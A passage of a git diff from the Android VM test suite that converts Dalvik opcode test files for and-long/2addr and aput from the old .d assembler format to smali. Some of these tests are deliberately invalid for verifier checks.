-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_1.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali
new file mode 100644
index 0000000..7adaf22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v10, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.d
deleted file mode 100644
index e1a4376..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_2.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v0, 3.1415
-       and-long/2addr v0, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.smali
new file mode 100644
index 0000000..3acfb98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_2;
+.super Ljava/lang/Object;
+.source "T_and_long_2addr_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 14
+
+    const v0, 0x40490e56    # 3.1415f
+
+    and-long/2addr v0, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.d
deleted file mode 100644
index ba10fe6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_3.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v0, 1234
-       and-long/2addr v12, v0
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali
new file mode 100644
index 0000000..0faeb2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v0, 1234
+       and-long/2addr v12, v0
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.d
deleted file mode 100644
index 9882eb3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_4.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long/2addr v12, v9
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali
new file mode 100644
index 0000000..2851eb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v12, v9
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.d
deleted file mode 100644
index e7bb059..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_5.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       and-long/2addr v10, v14
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali
new file mode 100644
index 0000000..2d64153
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       and-long/2addr v10, v14
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.d
deleted file mode 100644
index b7ee27e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_long_2addr_6.java
-.class public dot.junit.opcodes.and_long_2addr.d.T_and_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-
-       and-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali
new file mode 100644
index 0000000..668d4b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       and-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.d
deleted file mode 100644
index 0c46208..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_1.java
-.class public dot.junit.opcodes.aput.d.T_aput_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([III)V
-.limit regs 11
-
-       aput v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali
new file mode 100644
index 0000000..15a63c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_1.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 11
+
+       aput v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.d
deleted file mode 100644
index 7ef7585..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_2.java
-.class public dot.junit.opcodes.aput.d.T_aput_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IDI)V
-.limit regs 11
-
-
-       aput v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali
new file mode 100644
index 0000000..0ab568b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_2.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IDI)V
+.registers 11
+
+
+       aput v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.d
deleted file mode 100644
index f2872a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_3.java
-.class public dot.junit.opcodes.aput.d.T_aput_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IIJ)V
-.limit regs 11
-
-
-       aput v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali
new file mode 100644
index 0000000..5fa99dc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_3.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IIJ)V
+.registers 11
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.d
deleted file mode 100644
index 6070220..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_4.java
-.class public dot.junit.opcodes.aput.d.T_aput_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;II)V
-.limit regs 10
-
-
-       aput v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali
new file mode 100644
index 0000000..7c17289
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_4.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;II)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.d
deleted file mode 100644
index 9a37f62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_5.java
-.class public dot.junit.opcodes.aput.d.T_aput_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DII)V
-.limit regs 10
-
-
-       aput v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali
new file mode 100644
index 0000000..33615e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_5.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DII)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.d
deleted file mode 100644
index 82dc6ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_6.java
-.class public dot.junit.opcodes.aput.d.T_aput_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JII)V
-.limit regs 10
-
-
-       aput v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali
new file mode 100644
index 0000000..8f32da8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_6.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JII)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.d
deleted file mode 100644
index 66017e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_7.java
-.class public dot.junit.opcodes.aput.d.T_aput_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([III)V
-.limit regs 10
-
-       aput v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali
new file mode 100644
index 0000000..09fb46f
--- /dev/null
